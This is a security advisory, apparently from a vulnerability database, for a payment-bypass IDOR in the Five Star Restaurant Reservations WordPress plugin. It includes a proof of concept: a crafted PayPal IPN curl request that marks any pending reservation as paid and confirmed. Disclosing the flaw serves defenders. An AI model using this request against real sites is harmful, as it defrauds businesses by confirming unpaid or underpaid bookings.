Five Star Restaurant Reservations < 2.7.23 – Unauthenticated Payment Bypass and Booking Confirmation via IDOR | CVE 2026-15147

Description

The plugin does not verify the authenticity of incoming payment notifications, failing to validate the payment recipient, amount, and status or to bind the notification to the intended booking, allowing unauthenticated attackers to mark arbitrary pending reservations as paid and confirmed.

Proof of Concept

Prerequisites (normal for any site taking PayPal deposits): the deposit feature enabled
(require-deposit) with PayPal as the payment method, and a victim reservation in
"payment_pending" (its numeric booking id = VICTIM_ID).

The attacker makes a real minimal PayPal payment to an account THEY control, with
custom=booking_id=VICTIM_ID and notify_url pointing at the victim site. PayPal then
delivers a genuine IPN that validates as VERIFIED. Because the plugin never checks the
receiver, amount, status, or ownership, the victim booking is marked paid and confirmed.
The request that reaches the site is equivalent to:

curl -s -X POST 'https://victim.example/' \
  --data-urlencode 'ipn_track_id=<genuine paypal ipn id>' \
  --data-urlencode 'payment_status=Completed' \
  --data-urlencode 'txn_type=web_accept' \
  --data-urlencode 'txn_id=<attacker payment txn id>' \
  --data-urlencode 'mc_gross=1' \
  --data-urlencode 'mc_currency=USD' \
  --data-urlencode 'custom=booking_id=VICTIM_ID' \
  --data-urlencode 'receiver_email=attacker@paypal.example' \
  --data-urlencode 'business=attacker@paypal.example'

Result: booking VICTIM_ID transitions payment_pending -> confirmed, its deposit is
overwritten with the attacker's mc_gross (underpay), and the attacker's txn_id is stored
as the receipt (IDOR + underpay + wrong receiver). Unfixed through the current version
(2.7.22).